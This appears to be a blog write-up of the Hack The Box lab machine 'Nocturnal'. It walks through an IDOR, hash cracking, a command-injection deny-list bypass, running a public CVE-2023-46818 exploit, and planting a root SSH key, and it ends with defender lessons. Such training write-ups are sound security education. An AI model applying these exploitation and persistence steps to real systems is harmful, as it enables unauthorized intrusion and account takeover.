Nocturnal
2025-04-13
INTRODUCTION
Nocturnal is the first box since HTB’s Season 7 ended. It makes for a nice ego boost after being pummeled by the last few boxes. The root blood on Nocturnal only took 21 minutes. While it took me substantially longer than that, I can confirm that this box is quite easy.
Recon is very simple. You wouldn’t be impacted too negatively by skipping web enumeration altogether. However, it is important to try out the target web app and get a feel for how it works. I pretty much just stumbled over everything I needed while playing around with the web app.
Foothold is very easy, as long as you were paying attention during recon. You will quickly discover a likely IDOR; verify its existence and you are already well on your way to a foothold. While it is tempting to fuzz the IDOR, there is a much smarter way to get what you need - but it might still need a little clever extraction! Once you find a way to open your loot, you’ll have credentials to the admin panel.
Oddly enough, the user flag has a substantial rabbit-hole. My recommendation is simple: try using the web app the “normal” way before you dive too deeply into exploiting any apparent vulnerabilities… it may be easier than you think to obtain what you need. After that, some easy password cracking will net you credentials to get your first shell on the target, along with the user flag.
The root flag is trivial. After forwarding a couple ports, we discover the exact version of the final application to target. It’s vulnerable to a well-documented CVE with plenty of PoC exploits around. All we need are credentials. Thankfully, we can re-use a password from earlier to let ourselves into the application and apply the PoC exploit, granting root access to the machine (and the root flag, of course!)

RECON
nmap scans
Port scan
I’ll start by setting up a directory for the box, with an nmap subdirectory. I’ll set $RADDR to the target machine’s IP and scan it with a TCP port scan over all 65535 ports:
sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Script scan
To investigate a little further, I ran a script scan over the TCP ports I just found:
TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
| 256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_ 256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Note the redirect to http://nocturnal.htb
Vuln scan
Now that we know what services might be running, I’ll do a vulnerability scan:
sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR
No new info.
UDP scan
To be thorough, I’ll also do a scan over the common UDP ports. UDP scans take quite a bit longer, so I limit it to only common ports:
sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
No new info.
Webserver Strategy
Noting the redirect from the nmap scan, I’ll add [domain].htb to my /etc/hosts and do banner-grabbing for the web server:
DOMAIN=boxname.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts
☝️ I use
teeinstead of the append operator>>so that I don’t accidentally blow away my/etc/hostsfile with a typo of>when I meant to write>>.
whatweb --aggression 3 http://$DOMAIN && curl -IL http://$RADDR

Nothing very interesting there.
(Sub)domain enumeration
Next I’ll perform vhost and subdomain enumeration. First, I’ll check for alternate domains at this address:
WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v
No results.
Next I’ll check for subdomains of nocturnal.htb:
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v
No new results from that either.
Directory enumeration
I’ll move on to directory enumeration. First, on http://nocturnal.htb:
I prefer to not run a recursive scan, so that it doesn’t get hung up on enumerating CSS and images.
WLIST=/usr/share/wordlists/dirs-and-files.txt
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 60 -ic -c -o fuzzing/ffuf-directories-root -of json -timeout 4 -v

Exploring the Website
Next I’ll browse the target website manually a little.
I find it’s really helpful to turn on a web proxy while I browse the target for the first time, so I’ll turn on FoxyProxy and open up ZAP.
Sometimes this has been key to finding hidden aspects of a website, but it has the side benefit of taking highly detailed notes, too 😉
It looks like the target is some kind of file upload / backup / sharing site.

After registration (I registered jimbob : Password123!) and login, we’re shown a page to upload a file:

Now, in ZAP, I’ll add the target nocturnal.htb and all of its subdomains to the Default Context proceed to “Spider” the website (actively build a sitemap by following all of the links and references to other pages). The resulting sitemap looked like this:

Registration, login, and the dashboard that has a file upload - that’s all! It looks like there are no links to admin.php or /backups, which we saw during directoy enumeration.
File Upload
I thought that the filetypes they listed on the index page were just examples, but actually they were quite literal - upon trying to upload a .png image, I’m met with this error message:
“Invalid file type. pdf, doc, docx, xls, xlsx, odt are allowed.”
Alright then, let’s upload a PDF:

Seems like it worked. Check out the link it provides. The resulting page contains a list of links (all of my uploaded files). But check out the link destination: it contains not only the filename but also the username.
🤔 Is it trusting the username we provide in the web request? If so, this would indicate an IDOR.
FOOTHOLD
🚫 XXE
What do pdf, docx, xlsx, and odt files have in common? Underneath, they are all XML. Perhaps we can use XXE to read the source code?
I give a higher priority to testing vulnerabilities where I get a quick, clear indication of the result. XXE is definitely one of those
TODO
IDOR
Simulated test
First, I’ll register another user in a private/incognito window (so that the two users are simultaneously logged in, each with a different PHPSESSID). I registered jimbob2 : Password123! and once again uploaded test.pdf:

Note the URL of the uploaded file. Let’s see if we can utilize the initial (jimbob) session to access the jimbob2 file:
I’ll do this in ZAP for maximum clarity and logging

😮 Confirmed! We are able to read the PDF contents from the jimbob session: so we know there is an IDOR vulnerability.
To abuse this, we’ll need to know some other valid usernames first…
Username oracle
A great place to check if a username is already “taken”, especially when there is no email verification, is to register a bunch of users and see if registration was successful. I’ll register a user with some placeholder values, then proxy it through ZAP.
We can run it through the Fuzz tool and specify a simple wordlist of usernames. I’m using a combination of these two wordlists:
/usr/share/seclists/Usernames/000-usernames-short.txt/usr/share/seclists/Usernames/Names/names.txt(I know @Fismathack often uses person names as usernames)

After we run the Fuzz tool, we can clearly sort the results by response code to see that one of the usernames was already taken 😉
The responses for these ones included the error message “Failed to register user.”, indicating the username was already taken.

👍 Perfect - now we have a proven IDOR vulnerability, and a username to abuse it with.
🚫 Fuzzing for files
My initial reaction is to fuzz for files:
FILENAMES=/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt
EXT="$PWD/document_extensions.lst"
vim "$EXT" # contains: pdf, doc, docx, xls, xlsx, odt
USERS="$PWD/known_users.lst"
vim "$USERS" # contains: admin, amanda, test, tobias
COOKIE="PHPSESSID=t1nh3lkha7nhnml7kq3sgf6q7f" # Got from jimbob session
ffuf -w $FILENAMES:FILENAME -w $EXT:EXTENSION -w $USERS:USERNAME \
-u "http://nocturnal.htb/view.php?username=USERNAME&file=FILENAME.EXTENSION" \
-b "$COOKIE" -t 40 -ic -c -timeout 4 -mc 200 -fs 3037 -v
… but even when using this reasonably short wordlist for filenames, this results in a search space of 918,408 requests 😱
At ~400 req/s, it would take roughly 45 minutes to perform this fuzzing.
Someone already got root blood and it only took them ~20 minutes total… so clearly this is not the right approach!
As it turns out, there is a much better way.
Listing files directly
While I was playing around with fuzzing for each users’ files, I stumbled across a much better method for finding files.
The IDOR I found is more useful than I initially thought; as long as a valid username and valid file extension are provided, it doesn’t matter if the filename exists - view.php will list out whatever files that user has stored, completely unauthenticated:
Below, we’ve tried to access a file from
jimbobcalledwhatever.pdf, and we’re shown a listing of the valid files 👇

We can get lists of each users’ files by checking each:
- http://nocturnal.htb/view.php?username=admin&file=whatever.pdf
- No files available
- http://nocturnal.htb/view.php?username=amanda&file=whatever.pdf
- One file:
privacy.odt
- One file:
- http://nocturnal.htb/view.php?username=test&file=whatever.pdf
- No files available
- http://nocturnal.htb/view.php?username=tobias&file=whatever.pdf
- No files available
⭐ The only file I found using this method was using amanda:

Opening the file
It was exciting to find a file using this method, but my excitement quickly disappeared when I opened the file in LibreOffice; it’s just a bunch of junk data:

🤔 But there’s a few things in there that look like they might be HTTP. Is this document just formatted wrong, or missing its magic bytes maybe? Here’s how it looks in hexedit:

Ah, I see what happened. Even though they uploaded an odt file, it somehow got jumbled into a bunch of HTML as well.
Magic Bytes: ODT
Identification of files (think methods like MIME type) often depend on a signature placed at the beginning (and sometimes the end) of a file.
While there are many sources of this info, I’ve found that the Wikipedia page is a pretty good reference. Here’s what it has to say about the
.odtformat:
Therefore, if we were to make an
.odtdocument and check the first four bytes using something likehexedit, we would see one of the four-byte combinations shown in the above diagram.
If we look further into the file, we can clearly see where the HTML ends and the “uploaded” file begins:

Perfect, that’s exactly as expected. the 0x50 is at address 0xB67 (check the bottom of the hexedit pane). Using a simple dd operation, we should be able to extract the correct data - we can just copy the file, skipping 2919 (decimal of 0xB67) bytes :
dd ibs=1 skip=2919 if=privacy.odt of=privacy-trimmed.odt
# 20477+0 records in
# 39+1 records out
# 20477 bytes (20 kB, 20 KiB) copied, 0.0168969 s, 1.2 MB/s
open privacy-trimmed.odt
Now, we can see the true contents of the file:

🎉 There’s a password inside: arHkG7HAI68X8s1J
Credential Reuse
With any luck, this password can be used for SSH. To be thorough, let’s check all of the known accounts and for both of the known services:
| Service | User | |
|---|---|---|
| ❌ | SSH | admin |
| ❌ | SSH | amanda |
| ❌ | SSH | test |
| ❌ | SSH | tobias |
| ❌ | Nocturnal | admin |
| ✅ | Nocturnal | amanda |
| ❌ | Nocturnal | test |
| ❌ | Nocturnal | tobias |
While not as great as SSH, I’m relieved that the credential is still valid.
Dashboard - Amanda
Logging in as amanda, we can see a clear difference in the dashboard:

USER FLAG
Admin Panel
What has access to the Admin Panel gained for us?
It looks like there is some kind of backup functionality, and we can password-protect our backups. Also, it seems like we have the ability to read the source code for the whole application:

I’ll quickly read through each of the PHP files listed here, and see if there’s any “functionality” that we haven’t yet noticed.
🚫 Code Analysis
This section is interesting if you enjoy PHP code. Below, I discover a command injection vulnerability and the author’s inadequate attempt to mitigate it.
If you are interested in deny-list bypasses for “bad characters”, read on. Otherwise, skip to Backup File section.
dashboard.php
The important thing to learn from dashboard.php is about the database - where the database is located, and how it is accessed. We can also see that there was probably no way around the file extension allow-listing, therefore no File Upload vulnerability:
<?php
// ...
$db = new SQLite3('nocturnal_database.db');
// ...
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$target_dir = "uploads/";
$file_name = basename($_FILES["fileToUpload"]["name"]);
$target_file = $target_dir . $file_name;
$file_type = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
$allowed_types = array("pdf", "doc", "docx", "xls", "xlsx", "odt");
if (in_array($file_type, $allowed_types)) {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
$stmt = $db->prepare("INSERT INTO uploads (user_id, file_name) VALUES (:user_id, :file_name)");
$stmt->bindValue(':user_id', $user_id, SQLITE3_INTEGER);
$stmt->bindValue(':file_name', $file_name, SQLITE3_TEXT);
$stmt->execute();
} else {
echo "Error uploading file.";
}
} else {
echo "Invalid file type. pdf, doc, docx, xls, xlsx, odt are allowed.";
}
}
// ...
They’ve also included some mitigation against stored XSS.
login.php
The login.php file mostly just informs us of the location of passwords, and the hashing algorithm (MD5):
$db = new SQLite3('nocturnal_database.db');
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$username = $_POST['username'];
$password = $_POST['password'];
$stmt = $db->prepare("SELECT * FROM users WHERE username = :username");
$stmt->bindValue(':username', $username, SQLITE3_TEXT);
$result = $stmt->execute()->fetchArray();
if ($result && md5($password) === $result['password']) {
$_SESSION['user_id'] = $result['id'];
$_SESSION['username'] = $username;
header('Location: dashboard.php');
exit();
} else {
$error = 'Invalid username or password.';
}
}
others
register.php, view.php, index.php, and logout.php don’t really tell us anything new. They work mostly as expected. We can take a look at the sensitive information disclosure vulnerability (unauthenticated listing of files) that they introduced through view.php:
$db = new SQLite3('nocturnal_database.db');
$username = $_GET['username'];
$file = basename($_GET['file']);
// ...
$stmt = $db->prepare('SELECT id FROM users WHERE username = :username');
$stmt->bindValue(':username', $username, SQLITE3_TEXT);
$result = $stmt->execute();
if ($row = $result->fetchArray()) {
$user_id = $row['id'];
$stmt = $db->prepare('SELECT * FROM uploads WHERE user_id = :user_id AND file_name = :file');
$stmt->bindValue(':user_id', $user_id, SQLITE3_INTEGER);
admin.php
Last, but definitely not least, we can take a look at admin.php. It’s worth noting that admin and amanda are both hardcoded as being the only users to access the Admin Panel:
<?php
session_start();
if (!isset($_SESSION['user_id']) || ($_SESSION['username'] !== 'admin' && $_SESSION['username'] !== 'amanda')) {
header('Location: login.php');
exit();
}
// ...
function cleanEntry($entry) {
$blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];
foreach ($blacklist_chars as $char) {
if (strpos($entry, $char) !== false) {
return false; // Malicious input detected
}
}
return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}
?>
<!DOCTYPE html>
<html lang="en">
<!-- SNIP -->
<?php
if (isset($_POST['backup']) && !empty($_POST['password'])) {
$password = cleanEntry($_POST['password']);
$backupFile = "backups/backup_" . date('Y-m-d') . ".zip";
if ($password === false) {
echo "<div class='error-message'>Error: Try another password.</div>";
} else {
$logFile = '/tmp/backup_' . uniqid() . '.log';
$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &";
$descriptor_spec = [
0 => ["pipe", "r"], // stdin
1 => ["file", $logFile, "w"], // stdout
2 => ["file", $logFile, "w"], // stderr
];
$process = proc_open($command, $descriptor_spec, $pipes);
if (is_resource($process)) {
proc_close($process);
}
sleep(2);
$logContents = file_get_contents($logFile);
if (strpos($logContents, 'zip error') === false) {
echo "<div class='backup-success'>";
echo "<p>Backup created successfully.</p>";
echo "<a href='" . htmlspecialchars($backupFile) . "' class='download-button' download>Download Backup</a>";
echo "<h3>Output:</h3><pre>" . htmlspecialchars($logContents) . "</pre>";
echo "</div>";
} else {
echo "<div class='error-message'>Error creating the backup.</div>";
}
unlink($logFile);
}
}
?>
</html>
Can you see the vulnerability? There’s a call to proc_open($command, $descriptor_spec, $pipes) is made using a value (the $command variable) that is user-controllable.
🚨 This is the tell-tale sign of a command injection.
It looks like the developer has attempted to mitigate the command injection by writing the cleanEntry() function - but is their mitigation sufficient?
Command Injection
We’ll need to figure out a way to take a “backup”, somehow injecting a command into the password field. The trick is to bypass the characters in the deny-list:
$blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];
So how can we inject a command without using any of those characters?
Notably, they forgot to deny us access to <, >, (, and ). We can cause all kinds of havoc with just those:
- Process substitution
<(...)- spawn a subprocess and execute a command
- Process capturing
>(...)- Can be useful for running
trto perform character replacements
- Can be useful for running
- Input redirection
<- Great for eliminating the need for spaces, ex.
cat</etc/passwd
- Great for eliminating the need for spaces, ex.
- Output redirection
>- ex. write a webshell into the current directory
- Heredoc operator
<<- create a multiline file: possibly useful alongside output redirection
- Append redirection
>>- append to an existing file, like
~/.ssh/authorized_keys
- append to an existing file, like
👿 I may explore this more later.
Backup file
As mentioned earlier, the Admin Panel allows us to do two things: read the source code, and take backups. We’ve already read through the source code extensively (and discovered a command injection vulnerability), but in my excitement I skipped over the backup-taking functionality.
Let’s try it out now. All we need to do is supply a password:

Seems fine. We’re able to download the backup file, a password-protected zip file. As shown in the screenshot, the backup contains the database, nocturnal_database.db. I’ll downloaded it and extracted it.
unzip backup_2025-04-13.zip
cd backup_2025-04-13
sqlite3 nocturnal_database.db
We already know exactly where the password hashes are (and what algorithm they’re in), but checking the .schema never hurts:
.schema

Now let’s grab the hashes in a format we can use directly with hashcat:
.mode csv
.separator :
select username, password from users;

Fantastic, we can just copy-paste those into a file and start cracking. Raw, unsalted MD5 hashes use hashcat mode 0.
# paste in the hashes:
vim nocturnal_db.hashes
hashcat -m 0 nocturnal_db.hashes /usr/share/wordlists/rockyou.txt --username
Almost instantly, we cracked one:

For sake of copy-pasting, that credential is
tobias : slowmotionapocalypse
Let’s check for credential reuse again:
| Service | User | |
|---|---|---|
| ❌ | Nocturnal | admin |
| ✅ | Nocturnal | tobias |
| ❌ | SSH | admin |
| ❌ | SSH | amanda |
| ✅ | SSH | tobias |
It looks like tobias doesn’t have anything uploaded to the Nocturnal web app, but thankfully this credential does let us into SSH:

The SSH connection drops us into /home/tobias, adjacent to the user flag. Simply cat it out for the points:
cat user.txt
ROOT FLAG
Local enumeration - tobias
This box has a strange set of users with a shell:
id && cat /etc/passwd | grep -v nologin | grep -v /bin/false | grep -vE '^sync:'
# uid=1000(tobias) gid=1000(tobias) groups=1000(tobias)
# root:x:0:0:root:/root:/bin/bash
# tobias:x:1000:1000:tobias:/home/tobias:/bin/bash
# ispapps:x:1001:1002::/var/www/apps:/bin/sh
# ispconfig:x:1002:1003::/usr/local/ispconfig:/bin/sh
From a bit of research, it looks like the
ispappsandispconfigusers are service accounts, used similarly towww-data, but a little more granular in permissions. There’s also a service calledispconfigthat’s scheduled to run on startup.
There are a few services listening locally:
netstat -tulpn

There is another HTTP server on port 8080 (perhaps just behind a reverse proxy from port 80?), but we can also see SMTP running on ports 25 and 587. There’s also MySQL on port 3306.
Noting this, let’s reconnect and forward ports 25, 587, 3306, and 8080:
exit
ssh -L 25:localhost:25 \
-L 587:localhost:587 \
-L 3306:localhost:3306 \
-L 8080:localhost:8080 \
tobias@nocturnal.htb
We don’t yet have any credentials for MySQL, so I’ll check out port 8080 first.
ISPConfig
Port 8080 isn’t just a static webpage, it looks like a whole web app. Is this the reason for the other three ports (SMTP and MySQL)?

We don’t have any credentials. I tried doing a password reset using tobias@nocturnal.htb : tobias, but apparently that user is not registered.
Thankfully, checking the page source reveals a hint about the version of ISPConfig that’s running:

Line 24 hints that we may be looking at version 3.2.
A quick web search for “ispconfig 3.2 CVE vulnerability exploit PoC” led me to several pages all talking about CVE-2023-46818. Can we utilize this?
CVE-2023-46818
The CVE looks like it is an authenticated RCE that can be used for privilege escalation. Judging by ps aux, we should be able to use this CVE to escalate to root, assuming we can find credentials for ISPConfig.
Summary (LINK)
A vulnerability has been identified in ISPConfig versions prior to 3.2.11p1, allowing an authenticated administrator to execute PHP code via the language file editor. This occurs when the ‘admin_allow_langedit’ feature is enabled. If exploited, attackers can potentially manipulate the application’s code and gain unauthorized access to sensitive information or functionalities.
Credentials in the filesystem
I took a pretty thorough look around the filesystem and didn’t see any credentials. Nor did I see any backups or logs that might have the credentials hidden inside. Either set of credentials would be fine:
- ISPConfig: log in directly to the web app.
- MySQL: Assuming I have mysql
root, just reset the admin password.
Default credentials
The official ISPConfig documentation is pretty easy to find. It looks like this project actually predates Github, so the code and documentation is hosted by the project itself. We know the target is running Ubuntu, so we can select the most applicable Quick Start Guide for our target.
Scrolling 90% of the way down that Quick Start Guide, we finally see a hint at some default credentials:

The initial credentials are admin : admin, but the password has likely changed. Let’s try some likely candidates:
| Username | Password | |
|---|---|---|
| ❌ | admin | admin |
| ❌ | admin | root |
| ❌ | admin | ispconfig |
| ❌ | tobias | tobias |
| ✅ | admin | slowmotionapocalypse |
| ❔ | tobias | slowmotionapocalypse |
👏 Excellent - the credentials to ISPConfig were simply admin : slowmotionapocalypse.

Since I’ve already identified a CVE that can be exploited for privilege escalation, I won’t bother looking around the web app too much. Instead, let’s just point-and-shoot one of the PoCs:
cd exploit
git clone https://github.com/bipbopbup/CVE-2023-46818-python-exploit.git
cd CVE-2023-46818-python-exploit
python3 ./exploit.py "http://localhost:8080" "admin" "slowmotionapocalypse"
It’s essentially just a webshell, but it seems to work fine:

🎉 Easy! Now we can read the flag:
cat /root/root.txt
EXTRA CREDIT
Planting an SSH Key
I’d rather have SSH access to the root user than depend on an exploit. Since we don’t have any clue for the root credentials, it makes sense to just plant the key.
On the attacker box, generate a fresh keypair. This will result in ./id_rsa and ./id_rsa.pub:
ssh-keygen -t rsa -b 4096 -f ./id_rsa -N '0sprey'

It’s convenient to transfer the pubkey in base64 format:
cat ./id_rsa.pub | base64 -w 0
# COPY the result to clipboard
Using the exploit’s webshell, we can plant the key:
echo -n '[PASTE]' | base64 -d >> /root/.ssh/authorized_keys
Now, we should be able to log in over SSH just using our private key:
ssh -i ./id_rsa root@nocturnal.htb

We have mail, apparently? 👀
cat /var/mail/root
CLEANUP
Target
I’ll get rid of the spot where I place my tools, /tmp/.Tools:
rm -rf /tmp/.4wayhs
Attacker
There’s also a little cleanup to do on my local / attacker machine. It’s a good idea to get rid of any “loot” and source code I collected that didn’t end up being useful, just to save disk space:
rm -rf loot/backup_2025-04-13.zip
It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw rules:
NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;
LESSONS LEARNED

Attacker
🎭 Try normal usage before attempting to exploit the target. While exploiting the IDOR with users’ uploaded files, I initially didn’t see the opportunity for listing files by providing an incorrect filename. Playing with the web app more in a “normal” way would have led me to this conclusion much faster. Applying the same mindset to the Admin Panel would have led me towards downloading a backup “normally” before diving into command injection.
♻️ Credential reuse should always be tested first. Checking for credential reuse is easy. Often, it can even be automated. Checking for credential reuse can save you from doing a lot more enumeration and searching than you otherwise might.

Defender
🐪 Every operation that accesses or modifies sensitive data must be authorized. Sometimes, from the developer perspective, it is difficult to anticipate what data might be “sensitive”. When in doubt, treat every effect (or side-effect) of an authenticated user’s interactions as “sensitive” by default. The artifacts of those effects / side-effects should only be accessible past some kind of authorization mechanism.
😶 Prevent command injections before they start. In Nocturnal we encountered a command injection from the Backup feature on the Admin Panel. Instead of writing a homemade function to stop command injection, it would have been better to simple apply
escapeshellarg()to the input.🚧 Define a boundary between levels of privilege. The ISPConfig app was ran by the root account. As per the documentation, this is a requirement of the software itself. As is often the case with PHP-based applications, it wasn’t hard to find a way to force arbitrary code execution running within the app’s context. It would have been better to have a full separation between the app and any low-privilege users like
tobias.
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake


